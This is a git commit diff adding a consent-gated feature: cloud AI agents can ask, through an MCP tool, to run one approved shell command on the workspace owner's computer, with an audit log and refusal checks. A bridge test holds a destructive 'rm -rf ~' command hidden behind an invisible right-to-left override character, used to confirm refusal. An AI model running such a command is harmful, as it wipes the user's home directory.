feat(cloud): local commands — cloud agents ask to run one command on this computer, approved per command

- orcad relays (localCommands.request/status/attach/settle); the desktop that owns the workspace decides
- off by default per workspace; owner only; shared workspaces need the owner's explicit OK
- approval dialog: full command and folder, Allow once / Always allow this command / Deny
- minimal env (PATH, HOME, locale), /bin/sh, no stdin, timeout, 128 KB output cap per stream
- audit log on this computer; Settings > Orca Cloud > Commands on this computer
- run_local_command MCP tool (orca local-command mcp) registered for Claude Code and Codex in cloud VMs
This commit is contained in:
Neil
2026-11-10 19:36:12 -08:00
parent a868970883
commit aab04d5d0a
49 changed files with 4165 additions and 7 deletions
+5
View File
@@ -251,6 +251,11 @@ export const HANDLER_GROUPS: readonly HandlerGroup[] = [
keys: ['secret request'],
load: async () => (await import('./handlers/secret.js')).SECRET_HANDLERS
},
{
name: 'local-command',
keys: ['local-command run', 'local-command mcp'],
load: async () => (await import('./handlers/local-command.js')).LOCAL_COMMAND_HANDLERS
},
{
name: 'speech',
keys: ['speech openai-key status', 'speech openai-key set', 'speech openai-key clear'],
@@ -0,0 +1,94 @@
import { PassThrough } from 'node:stream'
import { describe, expect, it, vi } from 'vitest'
import { serveLocalCommandMcp } from './local-command-mcp'
async function exchange(
messages: object[],
run = vi.fn(async () => ({
requestId: 'lc_x',
status: 'finished' as const,
result: {
exitCode: 0,
signal: null,
timedOut: false,
durationMs: 4,
stdout: 'iPhone 16 (Booted)\n',
stderr: '',
truncated: false
}
}))
): Promise<{ replies: Record<string, unknown>[]; run: typeof run }> {
const input = new PassThrough()
const output = new PassThrough()
const chunks: string[] = []
output.on('data', (chunk: Buffer) => chunks.push(chunk.toString()))
const done = serveLocalCommandMcp({ input, output, run })
for (const message of messages) {
input.write(`${JSON.stringify({ jsonrpc: '2.0', ...message })}\n`)
}
await vi.waitFor(() => {
const ids = chunks.join('').split('\n').filter(Boolean).length
expect(ids).toBe(messages.filter((m) => 'id' in m).length)
})
input.end()
await done
return {
replies: chunks
.join('')
.split('\n')
.filter(Boolean)
.map((line) => JSON.parse(line)),
run
}
}
describe('local-command MCP server', () => {
it('lists run_local_command and returns the command output as tool text', async () => {
const { replies, run } = await exchange([
{ id: 1, method: 'initialize', params: { protocolVersion: '2025-06-18' } },
{ method: 'notifications/initialized' },
{ id: 2, method: 'tools/list' },
{
id: 3,
method: 'tools/call',
params: {
name: 'run_local_command',
arguments: { command: 'xcrun simctl list devices booted', timeout_sec: 30 }
}
}
])
expect(replies[0]).toMatchObject({ id: 1, result: { protocolVersion: '2025-06-18' } })
expect(replies[1]).toMatchObject({ id: 2, result: { tools: [{ name: 'run_local_command' }] } })
expect(replies[2]).toMatchObject({
id: 3,
result: {
isError: false,
content: [{ type: 'text', text: expect.stringContaining('iPhone 16 (Booted)') }]
}
})
expect(run).toHaveBeenCalledWith({
command: 'xcrun simctl list devices booted',
timeoutSec: 30
})
})
it('tells the agent not to retry a denied command', async () => {
const { replies } = await exchange(
[
{
id: 1,
method: 'tools/call',
params: { name: 'run_local_command', arguments: { command: 'ls' } }
}
],
vi.fn(async () => ({
requestId: 'lc_x',
status: 'declined' as const,
declineReason: 'denied' as const
}))
)
expect(replies[0]).toMatchObject({
result: { isError: true, content: [{ text: expect.stringContaining('denied') }] }
})
})
})
+198
View File
@@ -0,0 +1,198 @@
import { createInterface } from 'node:readline'
import type { Readable, Writable } from 'node:stream'
import {
LOCAL_COMMAND_DEFAULT_TIMEOUT_SEC,
LOCAL_COMMAND_MAX_COMMAND_CHARS,
LOCAL_COMMAND_MAX_CWD_CHARS,
LOCAL_COMMAND_MAX_TIMEOUT_SEC,
LOCAL_COMMAND_MCP_SERVER_NAME,
LOCAL_COMMAND_MCP_TOOL_NAME,
LOCAL_COMMAND_REASON_MAX,
type LocalCommandStatusResult
} from '../../shared/local-commands/local-command-contract'
import { RuntimeClientError } from '../runtime/types'
import {
explainLocalCommandError,
formatLocalCommandOutcome,
type LocalCommandInput
} from './local-command-request'
const SUPPORTED_PROTOCOL_VERSIONS = ['2025-06-18', '2025-03-26', '2024-11-05']
const TOOL = {
name: LOCAL_COMMAND_MCP_TOOL_NAME,
title: "Run a command on the person's computer",
description: [
"Runs one shell command on the person's own computer (usually a Mac), not in this cloud workspace.",
'Use it only for things that exist only there: iOS simulators, Xcode, local devices, the keychain, files outside this repository.',
'The person sees the exact command and folder and must approve each run, so ask for one clear command at a time.',
'It runs with /bin/sh in a minimal environment (PATH, HOME, locale; no secrets), with no input and a timeout.',
'Output is cut at 128 KB per stream. It fails if their Orca app is closed or they have not turned local commands on.'
].join(' '),
inputSchema: {
type: 'object',
properties: {
command: {
type: 'string',
description: 'The exact shell command. Plain text only.',
maxLength: LOCAL_COMMAND_MAX_COMMAND_CHARS
},
cwd: {
type: 'string',
description:
"Absolute folder on the person's computer, or ~/... Defaults to their home folder.",
maxLength: LOCAL_COMMAND_MAX_CWD_CHARS
},
timeout_sec: {
type: 'integer',
minimum: 1,
maximum: LOCAL_COMMAND_MAX_TIMEOUT_SEC,
description: `Stops the command after this many seconds (default ${LOCAL_COMMAND_DEFAULT_TIMEOUT_SEC}).`
},
reason: {
type: 'string',
description: 'One short sentence the person sees: why this needs their computer.',
maxLength: LOCAL_COMMAND_REASON_MAX
}
},
required: ['command'],
additionalProperties: false
},
annotations: { destructiveHint: true, openWorldHint: true }
} as const
type JsonRpcMessage = {
jsonrpc?: string
id?: string | number | null
method?: string
params?: unknown
}
export type LocalCommandMcpDeps = {
input: Readable
output: Writable
run: (input: LocalCommandInput) => Promise<LocalCommandStatusResult>
version?: string
}
function field(value: unknown, name: string): unknown {
return value && typeof value === 'object' ? (value as Record<string, unknown>)[name] : undefined
}
/** Tool arguments, checked here so a bad call gets a tool error the agent can read. */
export function parseLocalCommandToolArguments(args: unknown): LocalCommandInput | string {
const command = field(args, 'command')
const cwd = field(args, 'cwd')
const timeout = field(args, 'timeout_sec')
const reason = field(args, 'reason')
if (typeof command !== 'string' || command.trim().length === 0) {
return 'command is required.'
}
if (cwd !== undefined && typeof cwd !== 'string') {
return 'cwd must be a string.'
}
if (
timeout !== undefined &&
(typeof timeout !== 'number' ||
!Number.isInteger(timeout) ||
timeout < 1 ||
timeout > LOCAL_COMMAND_MAX_TIMEOUT_SEC)
) {
return `timeout_sec must be a whole number from 1 to ${LOCAL_COMMAND_MAX_TIMEOUT_SEC}.`
}
if (reason !== undefined && typeof reason !== 'string') {
return 'reason must be a string.'
}
return {
command,
...(cwd ? { cwd } : {}),
...(typeof timeout === 'number' ? { timeoutSec: timeout } : {}),
...(reason ? { reason: reason.slice(0, LOCAL_COMMAND_REASON_MAX) } : {})
}
}
/** A minimal MCP stdio server (newline-delimited JSON-RPC) with one tool. Resolves on stdin end. */
export function serveLocalCommandMcp(deps: LocalCommandMcpDeps): Promise<void> {
const write = (message: object): void => {
deps.output.write(`${JSON.stringify({ jsonrpc: '2.0', ...message })}\n`)
}
const reply = (id: JsonRpcMessage['id'], result: unknown): void => write({ id, result })
const fail = (id: JsonRpcMessage['id'], code: number, message: string): void =>
write({ id, error: { code, message } })
const callTool = async (id: JsonRpcMessage['id'], params: unknown): Promise<void> => {
if (field(params, 'name') !== LOCAL_COMMAND_MCP_TOOL_NAME) {
fail(id, -32602, `Unknown tool: ${String(field(params, 'name'))}`)
return
}
const parsed = parseLocalCommandToolArguments(field(params, 'arguments'))
if (typeof parsed === 'string') {
reply(id, { content: [{ type: 'text', text: parsed }], isError: true })
return
}
try {
const formatted = formatLocalCommandOutcome(await deps.run(parsed))
reply(id, { content: [{ type: 'text', text: formatted.text }], isError: formatted.isError })
} catch (error) {
const explained = explainLocalCommandError(error)
const text =
explained instanceof RuntimeClientError || explained instanceof Error
? explained.message
: String(explained)
reply(id, { content: [{ type: 'text', text }], isError: true })
}
}
const handle = (message: JsonRpcMessage): void => {
const { id, method } = message
const isRequest = id !== undefined && id !== null
switch (method) {
case 'initialize': {
const requested = field(message.params, 'protocolVersion')
reply(id, {
protocolVersion:
typeof requested === 'string' && SUPPORTED_PROTOCOL_VERSIONS.includes(requested)
? requested
: SUPPORTED_PROTOCOL_VERSIONS[0],
capabilities: { tools: {} },
serverInfo: { name: LOCAL_COMMAND_MCP_SERVER_NAME, version: deps.version ?? '1.0.0' }
})
return
}
case 'ping':
reply(id, {})
return
case 'tools/list':
reply(id, { tools: [TOOL] })
return
case 'tools/call':
// Calls wait minutes for a person; keep answering pings and other calls meanwhile.
void callTool(id, message.params)
return
default:
if (isRequest) {
fail(id, -32601, `Method not found: ${String(method)}`)
}
}
}
return new Promise((resolve) => {
const lines = createInterface({ input: deps.input, crlfDelay: Infinity })
lines.on('line', (line) => {
if (!line.trim()) {
return
}
let message: JsonRpcMessage
try {
message = JSON.parse(line) as JsonRpcMessage
} catch {
write({ id: null, error: { code: -32700, message: 'Parse error' } })
return
}
if (message && typeof message === 'object' && !Array.isArray(message)) {
handle(message)
}
})
lines.on('close', () => resolve())
})
}
+172
View File
@@ -0,0 +1,172 @@
import { RuntimeClientError } from '../runtime/types'
import {
LOCAL_COMMAND_APPROVAL_WINDOW_MS,
LOCAL_COMMAND_DEFAULT_TIMEOUT_SEC,
LOCAL_COMMAND_ERRORS,
LOCAL_COMMAND_MAX_TIMEOUT_SEC,
LOCAL_COMMAND_RESULT_GRACE_MS,
LOCAL_COMMANDS_REQUEST_METHOD,
LOCAL_COMMANDS_STATUS_METHOD,
type LocalCommandRequestParams,
type LocalCommandRequestResult,
type LocalCommandStatusResult
} from '../../shared/local-commands/local-command-contract'
const POLL_MS = 1000
export type LocalCommandCliDeps = {
call: <T>(method: string, params: unknown) => Promise<T>
sleep: (ms: number) => Promise<void>
now: () => number
}
export type LocalCommandInput = {
command: string
cwd?: string
timeoutSec?: number
reason?: string
}
/** Asks, then waits for the person and the run: the approval window plus the command's own timeout. */
export async function requestLocalCommand(
input: LocalCommandInput,
deps: LocalCommandCliDeps
): Promise<LocalCommandStatusResult> {
const params: LocalCommandRequestParams = {
command: input.command,
...(input.cwd ? { cwd: input.cwd } : {}),
...(input.timeoutSec ? { timeoutSec: input.timeoutSec } : {}),
...(input.reason ? { reason: input.reason } : {}),
...(process.env.ORCA_WORKTREE_ID ? { worktreeId: process.env.ORCA_WORKTREE_ID } : {})
}
let created: LocalCommandRequestResult
try {
created = await deps.call<LocalCommandRequestResult>(LOCAL_COMMANDS_REQUEST_METHOD, params)
} catch (error) {
throw explainLocalCommandError(error)
}
const timeoutMs = (input.timeoutSec ?? LOCAL_COMMAND_DEFAULT_TIMEOUT_SEC) * 1000
// orcad settles every request by itself (expired / lost); this bound only guards a vanished orcad.
const deadline =
deps.now() + LOCAL_COMMAND_APPROVAL_WINDOW_MS + timeoutMs + 2 * LOCAL_COMMAND_RESULT_GRACE_MS
for (;;) {
const current = await deps.call<LocalCommandStatusResult>(LOCAL_COMMANDS_STATUS_METHOD, {
requestId: created.requestId
})
if ((current.status !== 'pending' && current.status !== 'running') || deps.now() >= deadline) {
return current
}
await deps.sleep(POLL_MS)
}
}
/** What the agent reads back. Output is the person's computer's, quoted as-is. */
export function formatLocalCommandOutcome(outcome: LocalCommandStatusResult): {
text: string
isError: boolean
} {
switch (outcome.status) {
case 'finished': {
const result = outcome.result
if (!result) {
return { text: 'The command finished but no result came back.', isError: true }
}
const lines = [
result.timedOut
? `Timed out after ${Math.round(result.durationMs / 1000)}s and was stopped.`
: result.signal
? `Stopped by ${result.signal}.`
: `Exit code ${result.exitCode ?? 'unknown'}.`
]
if (result.stdout) {
lines.push('', 'stdout:', result.stdout)
}
if (result.stderr) {
lines.push('', 'stderr:', result.stderr)
}
if (result.truncated) {
lines.push('', 'Output was cut at 128 KB per stream.')
}
return {
text: lines.join('\n'),
isError: result.timedOut || result.exitCode !== 0
}
}
case 'declined':
return {
text:
outcome.declineReason === 'denied'
? 'The person denied this command. Do not retry it; ask them what to do instead.'
: outcome.declineReason === 'not_allowed'
? "This person's computer does not allow local commands from this workspace."
: 'Nobody answered the request in time. Ask the person before trying again.',
isError: true
}
case 'expired':
return {
text: 'Nobody answered the request in time. Ask the person before trying again.',
isError: true
}
case 'failed':
return {
text: `The command could not start: ${outcome.message ?? 'unknown error'}`,
isError: true
}
case 'lost':
return {
text: "The command started but its result never came back (the person's computer may have gone offline). It may or may not have finished.",
isError: true
}
case 'pending':
case 'running':
return { text: 'Still waiting for the command. It may still run.', isError: true }
}
}
const ERROR_MESSAGES: Record<string, string> = {
[LOCAL_COMMAND_ERRORS.noDesktop]:
'No Orca app with local commands turned on is connected to this workspace. The person can turn it on in Orca: Settings → Orca Cloud → Commands on this computer. Commands run only while their Orca app is open.',
[LOCAL_COMMAND_ERRORS.tooManyPending]:
'Three local commands are already waiting or running. Wait for one to finish.',
[LOCAL_COMMAND_ERRORS.rateLimited]:
'This workspace asked for 60 local commands in the last hour. Try again later.',
[LOCAL_COMMAND_ERRORS.unavailable]: 'Local commands work only inside an Orca Cloud workspace.',
[LOCAL_COMMAND_ERRORS.forbidden]: 'Only an agent in this workspace can ask for a local command.'
}
export function explainLocalCommandError(error: unknown): unknown {
if (!(error instanceof RuntimeClientError)) {
return error
}
const explained = ERROR_MESSAGES[error.message]
if (explained) {
return new RuntimeClientError(error.message, explained)
}
if (/hidden_characters/.test(error.message)) {
return new RuntimeClientError(
'invalid_argument',
'The command contains control or invisible characters, which are never run. Use plain text.'
)
}
if (/cwd_not_absolute/.test(error.message)) {
return new RuntimeClientError(
'invalid_argument',
"cwd must be an absolute path on the person's computer, or start with ~."
)
}
return error
}
export function parseLocalCommandTimeout(value: string | undefined): number | undefined {
if (value === undefined) {
return undefined
}
const seconds = Number(value)
if (!/^\d+$/.test(value) || seconds < 1 || seconds > LOCAL_COMMAND_MAX_TIMEOUT_SEC) {
throw new RuntimeClientError(
'invalid_argument',
`--timeout takes 1-${LOCAL_COMMAND_MAX_TIMEOUT_SEC} seconds`
)
}
return seconds
}
+45
View File
@@ -0,0 +1,45 @@
import type { CommandHandler } from '../dispatch'
import { getOptionalStringFlag, getRequiredStringFlag } from '../flags'
import {
formatLocalCommandOutcome,
parseLocalCommandTimeout,
requestLocalCommand,
type LocalCommandCliDeps
} from './local-command-request'
import { serveLocalCommandMcp } from './local-command-mcp'
export const LOCAL_COMMAND_HANDLERS: Record<string, CommandHandler> = {
'local-command run': async ({ flags, client, json }) => {
const deps: LocalCommandCliDeps = {
call: async <T>(method: string, params: unknown) =>
(await client.call<T>(method, params)).result,
sleep: (ms) => new Promise((resolve) => setTimeout(resolve, ms)),
now: Date.now
}
const outcome = await requestLocalCommand(
{
command: getRequiredStringFlag(flags, 'command'),
cwd: getOptionalStringFlag(flags, 'cwd'),
timeoutSec: parseLocalCommandTimeout(getOptionalStringFlag(flags, 'timeout')),
reason: getOptionalStringFlag(flags, 'reason')
},
deps
)
const formatted = formatLocalCommandOutcome(outcome)
console.log(json ? JSON.stringify(outcome, null, 2) : formatted.text)
process.exitCode = formatted.isError ? 1 : 0
},
'local-command mcp': async ({ client }) => {
await serveLocalCommandMcp({
input: process.stdin,
output: process.stdout,
run: (input) =>
requestLocalCommand(input, {
call: async <T>(method: string, params: unknown) =>
(await client.call<T>(method, params)).result,
sleep: (ms) => new Promise((resolve) => setTimeout(resolve, ms)),
now: Date.now
})
})
}
}
+1
View File
@@ -95,6 +95,7 @@ export const ROOT_HELP_TEXT_PRIMARY = [
' cloud projects list List Orca Cloud projects',
' cloud routine List Orca Cloud routines or run one now',
' secret request Ask the person for a secret this workspace needs',
' local-command run Ask the person to run a command on their own computer',
'',
'Automations:',
' automations list List scheduled Orca automations',
@@ -29,7 +29,10 @@ export function createAgentLaunchCallerEvidence(
const AGENT_LAUNCH_METHODS: ReadonlySet<string> = new Set(['agent.launch', 'agent.launchReplay'])
/** Methods where orcad names the calling terminal (and its agent) from the shell's launch evidence. */
const TERMINAL_CALLER_METHODS: ReadonlySet<string> = new Set(['secrets.request'])
const TERMINAL_CALLER_METHODS: ReadonlySet<string> = new Set([
'secrets.request',
'localCommands.request'
])
/** The caller evidence one request carries, read from this process's environment once. */
export class OrchestrationRequestEvidence {
+2
View File
@@ -27,6 +27,7 @@ import { VM_ENV_COMMAND_SPECS } from './vm-env'
import { CLOUD_ENV_COMMAND_SPECS } from './cloud-env'
import { CLOUD_SSH_COMMAND_SPECS } from './cloud-ssh'
import { SECRET_COMMAND_SPECS } from './secret'
import { LOCAL_COMMAND_COMMAND_SPECS } from './local-command'
import { SKILL_COMMAND_SPECS } from './skills'
import { ARTIFACT_COMMAND_SPECS } from './artifacts'
import { SEARCH_COMMAND_SPECS } from './search'
@@ -68,6 +69,7 @@ export const COMMAND_SPECS: CommandSpec[] = [
...CLOUD_ENV_COMMAND_SPECS,
...CLOUD_SSH_COMMAND_SPECS,
...SECRET_COMMAND_SPECS,
...LOCAL_COMMAND_COMMAND_SPECS,
...EMULATOR_COMMAND_SPECS,
...SKILL_COMMAND_SPECS,
...SEARCH_COMMAND_SPECS,
+33
View File
@@ -0,0 +1,33 @@
import type { CommandSpec } from '../args'
import { LOCAL_COMMAND_FLAGS } from '../args'
export const LOCAL_COMMAND_COMMAND_SPECS: CommandSpec[] = [
{
path: ['local-command', 'run'],
summary: 'Ask the person to run one command on their own computer',
usage:
'orca local-command run "<command>" [--cwd <dir>] [--timeout <sec>] [--reason "<why>"] [--json]',
allowedFlags: [...LOCAL_COMMAND_FLAGS, 'command', 'cwd', 'timeout', 'reason'],
positionalArgs: ['command'],
notes: [
"Works only in an Orca Cloud workspace, while the person's Orca app is open and they turned on Settings > Orca Cloud > Commands on this computer.",
'The person sees the exact command and folder and approves each run. A denied or unanswered request exits 1.',
'--cwd is an absolute folder on their computer, or ~/... (default: their home folder).',
'Runs with /bin/sh in a minimal environment (PATH, HOME, locale), with no input. --timeout is 1-600 seconds (default 120).',
'Output is cut at 128 KB per stream. Exits 1 when the command fails, times out, or is not approved.'
],
examples: [
'orca local-command run "xcrun simctl list devices booted" --reason "Find the simulator to test on"',
'orca local-command run "security find-identity -p codesigning -v" --json'
]
},
{
path: ['local-command', 'mcp'],
summary: 'Serve the run_local_command tool over MCP (stdio) for agents',
usage: 'orca local-command mcp',
allowedFlags: [...LOCAL_COMMAND_FLAGS],
notes: [
'Orca Cloud registers this for Claude Code and Codex in every cloud workspace as the orca-local MCP server.'
]
}
]
@@ -61,6 +61,10 @@ import {
installCloudMcpSync,
registerCloudMcpSyncHandlers
} from '../agent-mcp-sync/desktop/cloud-mcp-sync-ipc'
import {
installLocalCommands,
registerLocalCommandHandlers
} from '../local-commands/local-command-service'
/** Capability Orca Cloud auth grants per account (stablyai/orca-cloud#689). */
export const ORCA_CLOUD_SANDBOX_CAPABILITY = 'sandbox'
@@ -88,6 +92,7 @@ export function installHostedSandbox(
)
registerCloudMcpSyncHandlers()
const userDataPath = app.getPath('userData')
registerLocalCommandHandlers(userDataPath)
const config = getHostedSandboxConfig(
userDataPath,
withCloudBuildDefaults(process.env),
@@ -117,6 +122,7 @@ export function installHostedSandbox(
onListed: (account, listed) => gonePrune.observeList(account, listed),
relistMs: 10 * 60_000
})
installLocalCommands(userDataPath)
const mcpSync = installCloudMcpSync(userDataPath, {
baseUrl: config.controlPlaneUrl,
getAccessToken: config.getAccessToken
+11
View File
@@ -18,6 +18,7 @@ import {
import type { ReaderKeyAccess } from '../cloud-workspaces/cloud-read-snapshot-reader'
import { ensureActiveOrcaProfile } from '../orca-profiles/profile-index-store'
import type { CloudReadSnapshotState } from '../../shared/cloud-workspaces/read-snapshot-state'
import type { CloudWorkspace } from '../../shared/cloud-workspaces/cloud-workspaces-wire'
const Id = z.string().regex(/^sbx_[0-9a-f]{24}$/)
const GrantId = z.string().regex(/^grt_[0-9a-f]{24}$/)
@@ -116,6 +117,16 @@ export async function readCloudWorkspaceSnapshot(
return result?.ok ? result.value : null
}
/** The registry row (owner, sharing, title) for a workspace; null when it can't be read. Never wakes it. */
export async function readCloudWorkspaceRecord(sandboxId: string): Promise<CloudWorkspace | null> {
if (!Id.safeParse(sandboxId).success) {
return null
}
const s = await getService().catch(() => null)
const result = await s?.get(sandboxId)
return result?.ok ? result.value : null
}
/** Stable per-install id for presence rows (one row per device, not per window). */
async function clientIdFor(userDataPath: string): Promise<string> {
const file = join(userDataPath, 'cloud-workspaces-client-id')
@@ -0,0 +1,125 @@
const RETRY_MIN_MS = 5_000
const RETRY_MAX_MS = 60_000
export type LocalCommandSubscription = { close: () => void }
export type LocalCommandTimer = (run: () => void, ms: number) => { cancel: () => void }
type Attachment = {
environmentId: string
subscription: LocalCommandSubscription | null
connected: boolean
retryMs: number
retry: { cancel: () => void } | null
closed: boolean
}
export type LocalCommandAttachmentsDeps = {
subscribe: (
environmentId: string,
onEvent: (event: unknown) => void,
onClose: () => void
) => Promise<LocalCommandSubscription>
setTimer: LocalCommandTimer
onEvent: (sandboxId: string, environmentId: string, event: unknown) => void
onConnectedChanged: () => void
}
/**
* One attach stream per turned-on workspace, keyed by sandbox id (a rollover changes the
* environment id; consent stays with the workspace). A closed stream retries with backoff.
*/
export function createLocalCommandAttachments(deps: LocalCommandAttachmentsDeps) {
const attachments = new Map<string, Attachment>()
function setConnected(attachment: Attachment, connected: boolean): void {
if (attachment.connected !== connected) {
attachment.connected = connected
deps.onConnectedChanged()
}
}
function attach(sandboxId: string, environmentId: string): void {
const attachment: Attachment = {
environmentId,
subscription: null,
connected: false,
retryMs: RETRY_MIN_MS,
retry: null,
closed: false
}
attachments.set(sandboxId, attachment)
const onClose = (): void => {
attachment.subscription = null
setConnected(attachment, false)
if (!attachment.closed && !attachment.retry) {
attachment.retry = deps.setTimer(open, attachment.retryMs)
attachment.retryMs = Math.min(attachment.retryMs * 2, RETRY_MAX_MS)
}
}
const onEvent = (event: unknown): void => {
if (attachment.closed) {
return
}
const type = event && typeof event === 'object' ? (event as { type?: unknown }).type : null
if (type === 'ready') {
attachment.retryMs = RETRY_MIN_MS
setConnected(attachment, true)
return
}
deps.onEvent(sandboxId, environmentId, event)
}
function open(): void {
attachment.retry = null
if (attachment.closed) {
return
}
deps.subscribe(environmentId, onEvent, onClose).then(
(subscription) => {
if (attachment.closed) {
subscription.close()
return
}
attachment.subscription = subscription
},
() => onClose()
)
}
open()
}
function detach(sandboxId: string): void {
const attachment = attachments.get(sandboxId)
if (!attachment) {
return
}
attachment.closed = true
attachment.retry?.cancel()
attachment.subscription?.close()
attachments.delete(sandboxId)
}
return {
/** Attach to exactly these workspaces (sandbox id → environment id). */
reconcile(desired: ReadonlyMap<string, string>): void {
for (const [sandboxId, attachment] of attachments) {
if (desired.get(sandboxId) !== attachment.environmentId) {
detach(sandboxId)
}
}
for (const [sandboxId, environmentId] of desired) {
if (!attachments.has(sandboxId)) {
attach(sandboxId, environmentId)
}
}
},
isConnected(sandboxId: string): boolean {
return attachments.get(sandboxId)?.connected === true
},
dispose(): void {
for (const sandboxId of attachments.keys()) {
detach(sandboxId)
}
}
}
}
@@ -0,0 +1,68 @@
import { appendFileSync, chmodSync, readFileSync, renameSync, statSync } from 'node:fs'
import { join } from 'node:path'
import type { LocalCommandAuditEntry } from '../../shared/local-commands/local-command-desktop-types'
const MAX_BYTES = 2 * 1024 * 1024
const MAX_READ = 500
/**
* Append-only record of every request this computer saw and what happened to it: the command,
* folder, decision and exit status. Never the output (it can hold anything the command printed).
* One rotation keeps the previous file as .1.
*/
export class LocalCommandAuditLog {
private readonly path: string
constructor(userDataPath: string) {
this.path = join(userDataPath, 'local-commands-audit.jsonl')
}
append(entry: LocalCommandAuditEntry): void {
try {
this.rotateIfFull()
appendFileSync(this.path, `${JSON.stringify(entry)}\n`, { encoding: 'utf8', mode: 0o600 })
} catch (error) {
// The command itself already ran or was refused; a full disk must not crash the request.
console.warn('[local-commands] Could not write the audit log', error)
}
}
/** Newest first. */
recent(limit: number): LocalCommandAuditEntry[] {
const wanted = Math.max(1, Math.min(limit, MAX_READ))
const entries: LocalCommandAuditEntry[] = []
for (const file of [this.path, `${this.path}.1`]) {
let text: string
try {
text = readFileSync(file, 'utf8')
} catch {
continue
}
const lines = text.split('\n').filter(Boolean)
for (let index = lines.length - 1; index >= 0 && entries.length < wanted; index -= 1) {
try {
entries.push(JSON.parse(lines[index]!) as LocalCommandAuditEntry)
} catch {
// A torn last line from a crash is skipped, not fatal.
}
}
if (entries.length >= wanted) {
break
}
}
return entries
}
private rotateIfFull(): void {
let size = 0
try {
size = statSync(this.path).size
} catch {
return
}
if (size >= MAX_BYTES) {
renameSync(this.path, `${this.path}.1`)
chmodSync(`${this.path}.1`, 0o600)
}
}
}
@@ -0,0 +1,48 @@
import type {
LocalCommandSettleParams,
LocalCommandSettleResult
} from '../../shared/local-commands/local-command-contract'
import type { LocalCommandPrompt } from '../../shared/local-commands/local-command-desktop-types'
import type { LocalCommandAuditLog } from './local-command-audit-log'
import type { LocalCommandSubscription, LocalCommandTimer } from './local-command-attachments'
import type { LocalCommandExecutionOutcome } from './local-command-executor'
import type { LocalCommandWorkspacePolicy } from './local-command-request-checks'
import type { LocalCommandSettingsStore } from './local-command-settings-store'
export type LocalCloudWorkspaceRef = {
sandboxId: string
runtimeEnvironmentId: string | null
fallbackLabel: string
}
export type LocalCommandBridgeDeps = {
settings: LocalCommandSettingsStore
audit: LocalCommandAuditLog
supported: boolean
/** Cloud workspaces this computer created (their runtime records live here). */
listWorkspaces: () => LocalCloudWorkspaceRef[]
/** Ownership and sharing from the Orca Cloud registry; null when it can't be read (fail closed). */
readPolicy: (sandboxId: string) => Promise<LocalCommandWorkspacePolicy | null>
subscribe: (
environmentId: string,
onEvent: (event: unknown) => void,
onClose: () => void
) => Promise<LocalCommandSubscription>
settle: (
environmentId: string,
params: LocalCommandSettleParams
) => Promise<LocalCommandSettleResult>
resolveCwd: (requested: string | null) => Promise<string | null>
execute: (input: {
command: string
cwd: string
timeoutSec: number
}) => Promise<LocalCommandExecutionOutcome>
publishPrompts: (prompts: LocalCommandPrompt[]) => void
publishState: () => void
/** A new prompt arrived (an OS notification when Orca is in the background). */
onPromptAdded?: (prompt: LocalCommandPrompt) => void
now?: () => number
setTimer?: LocalCommandTimer
log?: (message: string) => void
}
@@ -0,0 +1,185 @@
import { mkdtempSync, rmSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it, vi } from 'vitest'
import type { LocalCommandSettleParams } from '../../shared/local-commands/local-command-contract'
import type { LocalCommandPrompt } from '../../shared/local-commands/local-command-desktop-types'
import { LocalCommandAuditLog } from './local-command-audit-log'
import { createLocalCommandBridge } from './local-command-bridge'
import type { LocalCommandWorkspacePolicy } from './local-command-request-checks'
import { LocalCommandSettingsStore } from './local-command-settings-store'
const SANDBOX = 'sbx_0123456789abcdef01234567'
const ENV = 'env-1'
const REQUEST = 'lc_request000000000001'
const dirs: string[] = []
afterEach(() => {
for (const dir of dirs.splice(0)) {
rmSync(dir, { recursive: true, force: true })
}
})
function setup(options: { policy?: LocalCommandWorkspacePolicy | null; enabled?: boolean } = {}) {
const dir = mkdtempSync(join(tmpdir(), 'local-commands-'))
dirs.push(dir)
let clock = 10_000
const settings = new LocalCommandSettingsStore(dir)
if (options.enabled !== false) {
settings.setEnabled(SANDBOX, true, false, clock)
}
const audit = new LocalCommandAuditLog(dir)
const settled: LocalCommandSettleParams[] = []
const executed: { command: string; cwd: string }[] = []
let prompts: LocalCommandPrompt[] = []
let onEvent: (event: unknown) => void = () => {}
const timers: (() => void)[] = []
const bridge = createLocalCommandBridge({
settings,
audit,
supported: true,
listWorkspaces: () => [
{ sandboxId: SANDBOX, runtimeEnvironmentId: ENV, fallbackLabel: 'api-fix' }
],
readPolicy: async () =>
options.policy === undefined
? { isOwner: true, shared: false, title: 'api-fix' }
: options.policy,
subscribe: async (_env, handler) => {
onEvent = handler
return { close: () => {} }
},
settle: async (_env, params) => {
settled.push(params)
return { accepted: true, status: 'running' }
},
resolveCwd: async (cwd) => (cwd === '/missing' ? null : '/Users/me'),
execute: async ({ command, cwd }) => {
executed.push({ command, cwd })
return {
exitCode: 0,
signal: null,
timedOut: false,
durationMs: 3,
stdout: 'done',
stderr: '',
truncated: false,
stdoutBytes: 4,
stderrBytes: 0
}
},
publishPrompts: (next) => {
prompts = next
},
publishState: () => {},
now: () => clock,
setTimer: (run) => {
timers.push(run)
return { cancel: () => {} }
},
log: () => {}
})
bridge.reconcile()
const request = async (overrides: Record<string, unknown> = {}): Promise<void> => {
onEvent({
type: 'requested',
requestId: REQUEST,
command: 'xcrun simctl list',
cwd: null,
timeoutSec: 60,
reason: 'Find the booted simulator',
agent: 'claude',
expiresInMs: 300_000,
...overrides
})
await vi.waitFor(() => {
expect(prompts.length + settled.length + executed.length).toBeGreaterThan(0)
})
}
return {
bridge,
settings,
audit,
settled,
executed,
timers,
request,
prompts: () => prompts,
advance: (ms: number) => {
clock += ms
}
}
}
describe('local command bridge', () => {
it('refuses without asking when the workspace is shared and the owner did not allow that', async () => {
const t = setup({ policy: { isOwner: true, shared: true, title: 'api-fix' } })
await t.request()
expect(t.prompts()).toEqual([])
expect(t.executed).toEqual([])
expect(t.settled).toEqual([{ requestId: REQUEST, outcome: 'declined', reason: 'not_allowed' }])
expect(t.audit.recent(1)[0]).toMatchObject({ outcome: 'refused' })
})
it("refuses when this person doesn't own the workspace, or ownership can't be read", async () => {
for (const policy of [{ isOwner: false, shared: false, title: null }, null]) {
const t = setup({ policy })
await t.request()
expect(t.executed).toEqual([])
expect(t.settled[0]).toMatchObject({ outcome: 'declined', reason: 'not_allowed' })
}
})
it('refuses a command with hidden characters', async () => {
const t = setup()
await t.request({ command: 'echo safe\u202E; rm -rf ~' })
expect(t.prompts()).toEqual([])
expect(t.executed).toEqual([])
